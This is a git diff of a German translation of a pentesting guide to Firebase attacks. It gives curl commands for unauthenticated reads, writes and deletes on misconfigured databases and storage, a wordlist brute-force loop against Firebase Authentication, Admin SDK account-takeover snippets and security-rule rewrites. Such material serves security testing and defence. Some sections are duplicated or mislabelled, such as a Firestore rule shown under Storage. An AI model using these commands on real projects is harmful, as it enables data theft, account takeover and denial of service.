Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

This commit is contained in:
Translator
2025-12-07 11:37:23 +00:00
parent 1bcf829ff0
commit 68f6e9d36d
2 changed files with 238 additions and 191 deletions

View File

@@ -4,27 +4,27 @@
## Firebase
### Unauthentifizierter Zugriff auf Firebase Realtime Database
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es erfordert lediglich, dass eine verwundbare Konfiguration in den Sicherheitsregeln der Firebase Realtime Database vorliegt, bei der die Regeln mit `.read: true` oder `.write: true` gesetzt sind und damit öffentlichen Lese- bzw. Schreibzugriff erlauben.
### Nicht authentifizierter Zugriff auf Firebase Realtime Database
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass in den Firebase Realtime Database security rules eine unsichere Konfiguration vorliegt, bei der die Regeln mit `.read: true` oder `.write: true` gesetzt sind und damit öffentlicher Lese- bzw. Schreibzugriff erlaubt wird.
Der Angreifer muss die Datenbank-URL identifizieren, die typischerweise dem Format folgt: `https://<project-id>.firebaseio.com/`.
Der Angreifer muss die Datenbank-URL identifizieren, die typischerweise dem Format `https://<project-id>.firebaseio.com/` folgt.
Diese URL kann durch Reverse Engineering mobiler Anwendungen (Dekompilieren von Android-APKs oder Analysieren von iOS-Apps), durch Auswertung von Konfigurationsdateien wie google-services.json (Android) oder GoogleService-Info.plist (iOS), durch Untersuchung des Quellcodes von Webanwendungen oder durch Analyse des Netzwerkverkehrs zur Identifizierung von Requests an `*.firebaseio.com`-Domains gefunden werden.
Diese URL kann durch mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), die Analyse von Konfigurationsdateien wie google-services.json (Android) oder GoogleService-Info.plist (iOS), das Untersuchen des Quellcodes von Webanwendungen oder das Analysieren von Netzwerkverkehr zur Identifikation von Requests an `*.firebaseio.com`-Domains gefunden werden.
Der Angreifer identifiziert die Datenbank-URL und prüft, ob sie öffentlich zugänglich ist, greift dann auf die Daten zu und schreibt möglicherweise bösartige Informationen.
Der Angreifer identifiziert die Datenbank-URL und prüft, ob sie öffentlich zugänglich ist, greift dann auf die Daten zu und schreibt gegebenenfalls bösartige Informationen.
Zuerst prüfen sie, ob die Datenbank Lesezugriff erlaubt, indem sie .json an die URL anhängen.
Zuerst prüfen sie, ob die Datenbank Lesezugriff erlaubt, indem sie `.json` an die URL anhängen.
```bash
curl https://<project-id>-default-rtdb.firebaseio.com/.json
```
Wenn die Antwort JSON-Daten oder null (anstatt "Permission Denied") enthält, erlaubt die Datenbank Lesezugriff. Um Schreibzugriff zu prüfen, kann der Angreifer versuchen, eine Test-Schreibanfrage mithilfe der Firebase REST API zu senden.
Wenn die Antwort JSON-Daten oder null (statt "Permission Denied") enthält, erlaubt die Datenbank Lesezugriff. Um Schreibzugriff zu prüfen, kann der Angreifer versuchen, eine Test-Schreibanfrage über die Firebase REST API zu senden.
```bash
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
```
Wenn die Operation erfolgreich ist, erlaubt die Datenbank außerdem write access.
### Offenlegung von Daten in Cloud Firestore
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht aus, dass eine verwundbare Konfiguration in den Cloud Firestore security rules vorhanden ist, bei der die Regeln read or write access ohne Authentifizierung oder mit unzureichender Validierung erlauben. Ein Beispiel für eine fehlkonfigurierte Regel, die vollen Zugriff gewährt, ist:
### Exposure of data in Cloud Firestore
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass eine verwundbare Konfiguration in den Cloud Firestore security rules vorliegt, bei der die Regeln read or write access ohne Authentifizierung oder mit unzureichender Validierung erlauben. Ein Beispiel für eine fehlkonfigurierte Regel, die vollen Zugriff gewährt, ist:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
@@ -32,23 +32,25 @@ allow read, write: if true;
}
}
```
Diese Regel erlaubt jedem, alle Dokumente ohne Einschränkungen zu lesen und zu schreiben. Firestore-Regeln sind granular und gelten pro Collection und Dokument; ein Fehler in einer bestimmten Regel kann daher nur bestimmte Collections offenlegen.
Diese Regel erlaubt es jedem, alle Dokumente ohne Einschränkungen zu lesen und zu schreiben.
Der Angreifer muss die Firebase Project ID ermitteln, die sich durch mobile app reverse engineering, die Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, inspecting the source code of web applications oder analyzing network traffic finden lässt, um Requests an firestore.googleapis.com zu identifizieren.
Firestore-Regeln sind granular und gelten pro collection und document, sodass ein Fehler in einer bestimmten Regel möglicherweise nur bestimmte collections offenlegt.
Die Firestore REST API verwendet folgendes Format:
Der Angreifer muss die Firebase Project ID identifizieren, die durch mobile app reverse engineering, die Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, das Inspizieren des Quellcodes von Webanwendungen oder die Analyse des Netzwerkverkehrs zur Identifizierung von Requests an firestore.googleapis.com gefunden werden kann.
Die Firestore REST API verwendet das Format:
```bash
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Wenn die Regeln nicht authentifizierten Lesezugriff erlauben, kann der Angreifer Collections und Dokumente lesen. Zuerst versucht der Angreifer, auf eine bestimmte Collection zuzugreifen:
Wenn die Regeln unauthentifizierten Lesezugriff erlauben, kann ein Angreifer Collections und Dokumente lesen. Zuerst versucht er, auf eine bestimmte Collection zuzugreifen:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
```
Wenn die Antwort JSON-Dokumente anstelle einer Berechtigungsfehlermeldung enthält, ist die Collection exponiert. Der Angreifer kann alle zugänglichen Collections auflisten, indem er gängige Namen ausprobiert oder die Struktur der Anwendung analysiert. Um auf ein bestimmtes Dokument zuzugreifen:
Wenn die Antwort JSON-Dokumente anstelle eines Berechtigungsfehlers enthält, ist die collection exponiert. Ein Angreifer kann alle zugänglichen collections auflisten, indem er gängige Namen ausprobiert oder die Struktur der Anwendung analysiert. Um auf ein bestimmtes Dokument zuzugreifen:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Wenn die Regeln unauthenticated write access erlauben oder eine unzureichende Validierung aufweisen, kann der Angreifer neue Dokumente erstellen:
Wenn die Regeln nicht authentifizierten Schreibzugriff erlauben oder eine unzureichende Validierung vorliegt, kann der Angreifer neue Dokumente erstellen:
```bash
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
@@ -69,12 +71,12 @@ curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/database
}
}'
```
Um ein Dokument zu löschen und Denial of Service zu verursachen:
Um ein Dokument zu löschen und einen Denial-of-Service zu verursachen:
```bash
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
### Offenlegung von Dateien in Firebase Storage
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass eine verwundbare Konfiguration in den Firebase Storage-Sicherheitsregeln vorliegt, bei der die Regeln Lese- oder Schreibzugriff ohne Authentifizierung oder mit unzureichender Validierung erlauben. Die Storage-Regeln steuern Lese- und Schreibberechtigungen unabhängig voneinander, sodass ein Fehler in einer Regel nur Lesezugriff, nur Schreibzugriff oder beides freigeben kann. Ein Beispiel für eine fehlkonfigurierte Regel, die vollen Zugriff gewährt, ist:
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass eine verwundbare Konfiguration in den Firebase Storage-Sicherheitsregeln vorliegt, bei der die Regeln Lese- oder Schreibzugriff ohne Authentifizierung oder mit unzureichender Validierung erlauben. Storage-Regeln steuern Lese- und Schreibberechtigungen unabhängig, sodass ein Fehler in einer Regel nur Lesezugriff, nur Schreibzugriff oder beides offenlegen kann. Ein Beispiel für eine falsch konfigurierte Regel, die vollen Zugriff gewährt, ist:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
@@ -82,19 +84,19 @@ allow read, write: if true;
}
}
```
Diese Regel erlaubt Lese- und Schreibzugriff auf alle Dokumente ohne jegliche Einschränkungen. Firestore-Regeln sind granular und werden pro collection und pro document angewendet, sodass ein Fehler in einer bestimmten Regel möglicherweise nur bestimmte collections exponiert. The attacker must identify the Firebase Project ID, which can be found through mobile application reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspection of web application source code, or network traffic analysis to identify requests to firestore.googleapis.com.
Diese Regel erlaubt Lese- und Schreibzugriff auf alle Dokumente ohne Einschränkungen. Firestore rules sind granular und werden pro Collection und pro Document angewendet, sodass ein Fehler in einer bestimmten Regel möglicherweise nur bestimmte Collections offenlegt. Der Angreifer muss die Firebase Project ID identifizieren, die durch mobile application reverse engineering, Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, Inspektion des Quellcodes von Webanwendungen oder network traffic analysis zur Identifizierung von Requests an firestore.googleapis.com gefunden werden kann.
Die Firestore REST API verwendet das Format: `https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
Wenn die Regeln nicht authentifizierten Lesezugriff erlauben, kann der attacker collections und documents lesen. Zuerst versucht er, auf eine bestimmte collection zuzugreifen.
Wenn die Regeln unauthenticated read access erlauben, kann der Angreifer Collections und Documents lesen. Zuerst versucht er, auf eine spezifische Collection zuzugreifen.
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
```
Wenn die Antwort die Liste der Dateien anstelle eines Berechtigungsfehlers enthält, ist die Datei zugänglich. Der attacker kann den Inhalt der Dateien anzeigen, indem er deren Pfad angibt:
Wenn die Antwort die Liste der Dateien anstelle eines Berechtigungsfehlers enthält, ist die Datei exponiert. Der Angreifer kann den Inhalt der Dateien anzeigen, indem er ihren Pfad angibt:
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
```
Wenn die Regeln unauthentifizierten Schreibzugriff erlauben oder eine unzureichende Validierung aufweisen, kann der Angreifer bösartige Dateien hochladen. Um eine Datei über die REST API hochzuladen:
Wenn die Regeln nicht authentifizierten Schreibzugriff erlauben oder eine unzureichende Validierung aufweisen, kann der attacker bösartige Dateien hochladen. Um eine Datei über die REST API hochzuladen:
```bash
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
@@ -105,21 +107,21 @@ Der Angreifer kann code shells, malware payloads oder große Dateien hochladen,
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
```
### Aufruf öffentlicher Firebase Cloud Functions
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um dieses Problem auszunutzen; es reicht, dass eine Cloud Function öffentlich über HTTP zugänglich ist, ohne Authentifizierung.
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um dieses Problem auszunutzen; es reicht, dass eine Cloud Function öffentlich über HTTP ohne Authentifizierung zugänglich ist.
Eine Funktion ist verwundbar, wenn sie unsicher konfiguriert ist:
Eine Funktion ist anfällig, wenn sie unsicher konfiguriert ist:
- Sie verwendet `functions.https.onRequest`, das keine Authentifizierung erzwingt (im Gegensatz zu onCall-Funktionen).
- Sie verwendet `functions.https.onRequest`, das keine Authentifizierung erzwingt (im Gegensatz zu `onCall` functions).
- Der Code der Funktion validiert die Benutzer-Authentifizierung nicht (z. B. keine Prüfungen auf `request.auth` oder `context.auth`).
- Die Funktion ist in IAM öffentlich zugänglich, d. h. `allUsers` hat die Rolle `roles/cloudfunctions.invoker`. Dies ist das Standardverhalten für HTTP-Funktionen, sofern der Entwickler den Zugriff nicht einschränkt.
Firebase HTTP Cloud Functions sind über URLs wie erreichbar:
Firebase HTTP Cloud Functions sind über URLs erreichbar, wie zum Beispiel:
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
- https://<project-id>.web.app/<function-name> (wenn in Firebase Hosting integriert)
- `https://<region>-<project-id>.cloudfunctions.net/<function-name>`
- `https://<project-id>.web.app/<function-name>` (when integrated with Firebase Hosting)
Ein Angreifer kann diese URLs durch Quellcodeanalyse, Netzwerkverkehrsinspektion, Enumeration-Tools oder Reverse Engineering von mobilen Apps entdecken.
Wenn die Funktion öffentlich exponiert und nicht authentifiziert ist, kann der Angreifer sie direkt ohne Anmeldedaten aufrufen.
Ein Angreifer kann diese URLs durch source code analysis, network traffic inspection, enumeration tools oder mobile app reverse engineering entdecken.
Wenn die Funktion öffentlich exponiert und nicht authentifiziert ist, kann der Angreifer sie direkt ohne Anmeldeinformationen aufrufen.
```bash
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
@@ -128,22 +130,22 @@ curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'
```
Wenn die Funktion Eingaben nicht korrekt validiert, kann der Angreifer weitere Angriffe versuchen, wie z. B. code injection oder command injection.
Wenn die Funktion Eingaben nicht korrekt validiert, kann der Angreifer andere Angriffe versuchen, wie z. B. code injection oder command injection.
### Brute-force attack against Firebase Authentication with a weak password policy
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass der Firebase API Key in mobilen oder Webanwendungen offengelegt ist und die Passwortpolicy nicht strenger als die Standardeinstellungen konfiguriert wurde.
### Brute-force attack gegen Firebase Authentication mit schwacher Passwortrichtlinie
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass der Firebase API Key in mobilen oder Webanwendungen offengelegt ist und die Passwortrichtlinie nicht strenger als die Standardeinstellungen konfiguriert wurde.
Der Angreifer muss den Firebase API Key identifizieren, den man durch mobile app reverse engineering, Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, Inspektion des Quellcodes von Webanwendungen (z. B. in bootstrap.js) oder Analyse des Netzwerkverkehrs finden kann.
Der Angreifer muss den Firebase API Key identifizieren, der durch mobile app reverse engineering, Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, Inspektion des Quellcodes von Webanwendungen (z. B. in bootstrap.js) oder Analyse des Netzwerkverkehrs gefunden werden kann.
Die REST-API von Firebase Authentication verwendet den Endpunkt:
Firebase Authentications REST API uses the endpoint:
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
um sich mit EMail und Passwort zu authentifizieren.
to authenticate with email and password.
Wenn Email Enumeration Protection deaktiviert ist, können API-Fehlerantworten offenbaren, ob eine EMail im System existiert (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), was es Angreifern ermöglicht, users zu enumeraten, bevor sie Passwortraten versuchen. Wenn diese Protection aktiviert ist, liefert die API für nicht existente EMails und falsche Passwörter dieselbe Fehlermeldung und verhindert so user enumeration.
Wenn Email Enumeration Protection deaktiviert ist, können API-Fehlermeldungen offenbaren, ob eine E-Mail im System existiert (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), was Angreifern ermöglicht, Benutzer zu enumerieren, bevor sie Passwortraten versuchen. Wenn dieser Schutz aktiviert ist, gibt die API dieselbe Fehlermeldung für nicht vorhandene E-Mails und falsche Passwörter zurück, wodurch die Benutzerenumeration verhindert wird.
Es ist wichtig zu beachten, dass Firebase Authentication Rate Limiting durchsetzt, das Anfragen blockieren kann, wenn in kurzer Zeit zu viele Authentifizierungsversuche stattfinden. Deshalb müsste ein Angreifer zwischen den Versuchen Verzögerungen einbauen, um nicht rate-limited zu werden.
Es ist wichtig zu beachten, dass Firebase Authentication rate limiting durchsetzt, das Anfragen blockieren kann, wenn innerhalb kurzer Zeit zu viele Authentifizierungsversuche stattfinden. Deshalb müsste ein Angreifer zwischen den Versuchen Verzögerungen einbauen, um nicht durch das Rate-Limit blockiert zu werden.
Der Angreifer identifiziert den API Key und führt Authentifizierungsversuche mit mehreren Passwörtern gegen bekannte Accounts durch. Wenn Email Enumeration Protection deaktiviert ist, kann der Angreifer existierende Benutzer durch Analyse der Fehlerantworten enumeraten:
Der Angreifer identifiziert den API Key und führt Authentifizierungsversuche mit mehreren Passwörtern gegen bekannte Accounts durch. Wenn Email Enumeration Protection deaktiviert ist, kann der Angreifer vorhandene Benutzer durch Analyse der Fehlermeldungen enumerieren:
```bash
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
@@ -154,7 +156,7 @@ curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassw
"returnSecureToken": true
}'
```
Wenn die Antwort EMAIL_NOT_FOUND enthält, existiert die E-Mail nicht im System. Wenn sie INVALID_PASSWORD enthält, existiert die E-Mail, das Passwort ist jedoch falsch, was bestätigt, dass der Benutzer registriert ist. Sobald ein gültiger Benutzer identifiziert wurde, kann der Angreifer brute-force-Versuche durchführen. Es ist wichtig, Pausen zwischen den Versuchen einzulegen, um die RateLimitingMechanismen von Firebase Authentication zu vermeiden:
Wenn die Antwort EMAIL_NOT_FOUND enthält, existiert die E-Mail nicht im System. Wenn sie INVALID_PASSWORD enthält, existiert die E-Mail, aber das Passwort ist falsch, was bestätigt, dass der Benutzer registriert ist. Sobald ein gültiger Benutzer identifiziert wurde, kann der Angreifer brute-force-Versuche durchführen. Es ist wichtig, Pausen zwischen den Versuchen einzulegen, um Firebase Authentications rate-limiting-Mechanismen zu vermeiden:
```bash
counter=1
for password in $(cat wordlist.txt); do
@@ -173,11 +175,11 @@ sleep 1
counter=$((counter + 1))
done
```
Mit der standardmäßigen Passwortpolitik (mindestens 6 Zeichen, keine Komplexitätsanforderungen) kann der Angreifer alle möglichen Kombinationen von 6-stelligen Passwörtern ausprobieren, was einen relativ kleinen Suchraum im Vergleich zu strengeren Passwortregeln darstellt.
Mit der Standard-Passwortrichtlinie (mindestens 6 Zeichen, keine Komplexitätsanforderungen) kann der Angreifer alle möglichen Kombinationen von 6-stelligen Passwörtern ausprobieren, was im Vergleich zu strengeren Passwort-Richtlinien einen relativ kleinen Suchraum darstellt.
### User management in Firebase Authentication
### Benutzerverwaltung in Firebase Authentication
Der Angreifer benötigt bestimmte Firebase Authentication-Berechtigungen, um diesen Angriff durchzuführen. Die erforderlichen Berechtigungen sind:
Der Angreifer benötigt spezifische Firebase Authentication-Berechtigungen, um diesen Angriff durchzuführen. Erforderliche Berechtigungen sind:
- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
@@ -186,18 +188,18 @@ Der Angreifer benötigt bestimmte Firebase Authentication-Berechtigungen, um die
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions
Diese Berechtigungen sind in der Rolle `roles/firebaseauth.admin` enthalten, die vollen Lese-/Schreibzugriff auf Firebase Authentication-Ressourcen gewährt. Sie sind auch in höherstufigen Rollen enthalten, wie roles/firebase.developAdmin (which includes all firebaseauth.* permissions) und roles/firebase.admin (full access to all Firebase services).
Diese Berechtigungen sind in der `roles/firebaseauth.admin`-Rolle enthalten, die vollen Lese-/Schreibzugriff auf Firebase Authentication-Ressourcen gewährt. Sie sind auch in höheren Rollen wie roles/firebase.developAdmin (which includes all firebaseauth.* permissions) und roles/firebase.admin (full access to all Firebase services) enthalten.
Um das Firebase Admin SDK zu verwenden, benötigt der Angreifer Zugriff auf Service-Account-Anmeldeinformationen (JSON-Datei), die auf kompromittierten Systemen, in öffentlich zugänglichen Code-Repositories, auf kompromittierten CI/CD-Systemen oder durch die Kompromittierung von Entwicklerkonten, die Zugriff auf diese Anmeldeinformationen haben, zu finden sein könnten.
Um das Firebase Admin SDK zu verwenden, benötigt der Angreifer Zugriff auf Service-Account-Anmeldeinformationen (JSON-Datei), die auf kompromittierten Systemen, öffentlich zugänglichen Code-Repositories, kompromittierten CI/CD-Systemen oder durch die Kompromittierung von Entwicklerkonten, die Zugriff auf diese Anmeldeinformationen haben, gefunden werden könnten.
Der erste Schritt besteht darin, das Firebase Admin SDK mit Service-Account-Anmeldeinformationen zu konfigurieren.
Der erste Schritt ist, das Firebase Admin SDK mit den Service-Account-Anmeldeinformationen zu konfigurieren.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Um einen bösartigen Benutzer mit der E-Mail eines Opfers zu erstellen, würde der Angreifer versuchen, das Firebase Admin SDK zu verwenden, um ein neues Konto unter dieser E-Mail-Adresse zu erstellen.
Um einen bösartigen Benutzer mit der EMail des Opfers zu erstellen, würde der Angreifer versuchen, das Firebase Admin SDK zu verwenden, um ein neues Konto r diese EMail anzulegen.
```bash
user = auth.create_user(
email='victima@example.com',
@@ -208,7 +210,7 @@ disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Um einen bestehenden Benutzer zu ändern, würde der Angreifer Felder wie die EMail-Adresse, den Verifizierungsstatus oder die Information, ob das Konto deaktiviert ist, aktualisieren.
Um einen bestehenden Benutzer zu ändern, würde der Angreifer Felder wie die E-MailAdresse, den Verifizierungsstatus oder die Angabe, ob das Konto deaktiviert ist, aktualisieren.
```bash
user = auth.update_user(
uid,
@@ -223,14 +225,14 @@ Um ein Benutzerkonto zu löschen und einen denial of service zu verursachen, wü
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
Der Angreifer kann auch Informationen über bestehende Benutzer abrufen, indem er deren UID oder E-Mail-Adresse abfragt.
Der Angreifer kann außerdem Informationen über vorhandene Benutzer abrufen, indem er deren UID oder EMailAdresse anfragt.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Außerdem könnte der Angreifer Verifizierungs- oder Passwort-Zurücksetzungslinks generieren, um das Passwort eines Benutzers zu ändern und Zugriff auf dessen Account zu erhalten.
Außerdem könnte der Angreifer Verifizierungslinks oder Password-Reset-Links erzeugen, um das Passwort eines Benutzers zu ändern und Zugriff auf dessen Konto zu erhalten.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
@@ -238,27 +240,27 @@ link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Benutzerverwaltung in Firebase Authentication
Ein Angreifer benötigt bestimmte Firebase Authentication-Berechtigungen, um diesen Angriff durchzuführen. Die benötigten Berechtigungen sind:
Ein Angreifer benötigt bestimmte Berechtigungen für Firebase Authentication, um diesen Angriff durchzuführen. Die benötigten Berechtigungen sind:
- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
- `firebaseauth.users.delete` to delete users
- `firebaseauth.users.get` to obtain user information
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions
- `firebaseauth.users.create` um Benutzer zu erstellen
- `firebaseauth.users.update` um vorhandene Benutzer zu ändern
- `firebaseauth.users.delete` um Benutzer zu löschen
- `firebaseauth.users.get` um Benutzerinformationen zu erhalten
- `firebaseauth.users.sendEmail` um E-Mails an Benutzer zu senden
- `firebaseauth.users.createSession` um Benutzersitzungen zu erstellen
Diese Berechtigungen sind in der Rolle `roles/firebaseauth.admin` enthalten, die vollen Lese-/Schreibzugriff auf Firebase Authentication-Ressourcen gewährt. Sie sind auch Teil höherstufiger Rollen wie `roles/firebase.developAdmin` (die alle firebaseauth.*-Berechtigungen enthält) und `roles/firebase.admin` (voller Zugriff auf alle Firebase-Dienste).
Diese Berechtigungen sind in der Rolle roles/firebaseauth.admin enthalten, die vollen Lese-/Schreibzugriff auf Firebase Authentication-Ressourcen gewährt. Sie sind außerdem Teil höherstufiger Rollen wie `roles/firebase.developAdmin` (enthält alle firebaseauth.*-Berechtigungen) und `roles/firebase.admin` (voller Zugriff auf alle Firebase-Dienste).
Um das Firebase Admin SDK zu verwenden, benötigt der Angreifer Zugriff auf Servicekonto-Anmeldeinformationen (eine JSON-Datei), die von kompromittierten Systemen, öffentlich zugänglichen Code-Repositories, kompromittierten CI/CD-Umgebungen oder durch die Kompromittierung von Entwicklerkonten, die Zugriff auf diese Anmeldeinformationen haben, stammen könnten.
Um das Firebase Admin SDK zu verwenden, benötigt der Angreifer Zugriff auf Service-Account-Anmeldeinformationen (eine JSON-Datei), die von kompromittierten Systemen, öffentlich zugänglichen Code-Repositories, kompromittierten CI/CD-Umgebungen oder durch die Kompromittierung von Entwicklerkonten mit Zugriff auf diese Anmeldeinformationen stammen können.
Der erste Schritt ist, das Firebase Admin SDK mit Servicekonto-Anmeldeinformationen zu konfigurieren.
Der erste Schritt ist, das Firebase Admin SDK mit den Service-Account-Anmeldeinformationen zu konfigurieren.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
Um einen malicious user mit der E-Mail des Opfers zu erstellen, würde der attacker versuchen, ein neues user account mit dieser E-Mail anzulegen und sein eigenes password sowie profile information zu vergeben.
Um einen bösartigen Benutzer mit der E-Mail eines Opfers zu erstellen, würde der Angreifer versuchen, ein neues Benutzerkonto mit dieser E-Mail anzulegen und ein eigenes Passwort sowie eigene Profilinformationen zu vergeben.
```bash
user = auth.create_user(
email='victima@example.com',
@@ -269,7 +271,7 @@ disabled=False
)
print(f'Usuario creado: {user.uid}')
```
Um einen bestehenden Benutzer zu ändern, würde der attacker Felder wie die E-Mail-Adresse, den Verifizierungsstatus oder die Frage, ob das Konto deaktiviert ist, anpassen.
Um einen bestehenden Benutzer zu ändern, würde der Angreifer Felder wie die EMailAdresse, den Verifizierungsstatus oder ob das Konto deaktiviert ist, ändern.
```bash
user = auth.update_user(
uid,
@@ -279,19 +281,19 @@ disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
Um ein Benutzerkonto zu löschen—wodurch effektiv ein denial of service verursacht würde—würde der Angreifer eine Anfrage senden, um diesen Benutzer dauerhaft zu entfernen.
Um ein Benutzerkonto zu löschen — und damit effektiv einen Denial of Service zu verursachen — würde der Angreifer eine Anfrage stellen, um diesen Benutzer dauerhaft zu entfernen.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
Der Angreifer konnte auch Informationen über vorhandene Benutzer abrufen, wie deren UID oder E-Mail, indem er Benutzerdetails entweder per UID oder per E-Mail-Adresse anforderte.
Der Angreifer könnte auch Informationen über vorhandene Benutzer abrufen, wie deren UID oder email, indem er Benutzerdetails entweder per UID oder per email-Adresse anfordert.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Außerdem könnte der Angreifer Verifizierungs- oder Passwort-Zurücksetzungslinks generieren, wodurch er das Passwort eines Benutzers ändern und die Kontrolle über dessen Konto übernehmen könnte.
Außerdem könnte der Angreifer Verifizierungslinks oder PasswortZurücksetzungslinks erzeugen, wodurch er das Passwort eines Nutzers ändern und die Kontrolle über das Konto übernehmen könnte.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
@@ -299,15 +301,15 @@ link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Änderung der Sicherheitsregeln in Firebase-Diensten
Der Angreifer benötigt je nach Dienst spezifische Berechtigungen, um Sicherheitsregeln zu ändern. Für Cloud Firestore und Firebase Cloud Storage sind die erforderlichen Berechtigungen `firebaserules.rulesets.create` zum Erstellen von Rulesets und `firebaserules.releases.create` zum Bereitstellen von Releases. Diese Berechtigungen sind in der Rolle `roles/firebaserules.admin` enthalten oder in höherstufigen Rollen wie `roles/firebase.developAdmin` und `roles/firebase.admin`. Für Firebase Realtime Database ist die erforderliche Berechtigung `firebasedatabase.instances.update`.
Der Angreifer benötigt je nach Dienst spezifische Berechtigungen, um Sicherheitsregeln zu ändern. Für Cloud Firestore und Firebase Cloud Storage sind die erforderlichen Berechtigungen `firebaserules.rulesets.create` zum Erstellen von Rulesets und `firebaserules.releases.create` zum Bereitstellen von Releases. Diese Berechtigungen sind in der Rolle `roles/firebaserules.admin` oder in höherwertigen Rollen wie `roles/firebase.developAdmin` und `roles/firebase.admin` enthalten. Für Firebase Realtime Database ist die erforderliche Berechtigung `firebasedatabase.instances.update`.
Der Angreifer muss die Firebase REST API verwenden, um die Sicherheitsregeln zu ändern. Zuerst müsste der Angreifer ein access token mit Service-Account-Zugangsdaten erhalten.
Der Angreifer muss die Firebase REST API verwenden, um die Sicherheitsregeln zu ändern. Zuerst müsste der Angreifer ein Access-Token mithilfe von Service-Account-Anmeldedaten erhalten.
Um das Token zu erhalten:
```bash
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
```
Um die Firebase Realtime Database-Regeln zu ändern:
Um die Firebase Realtime Database rules zu ändern:
```bash
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
@@ -318,7 +320,7 @@ curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.js
}
}'
```
Um Cloud Firestore rules zu modifizieren, muss der attacker ein ruleset erstellen und es dann deployen:
Um die Cloud Firestore-Regeln zu ändern, muss der Angreifer ein Ruleset erstellen und es dann bereitstellen:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
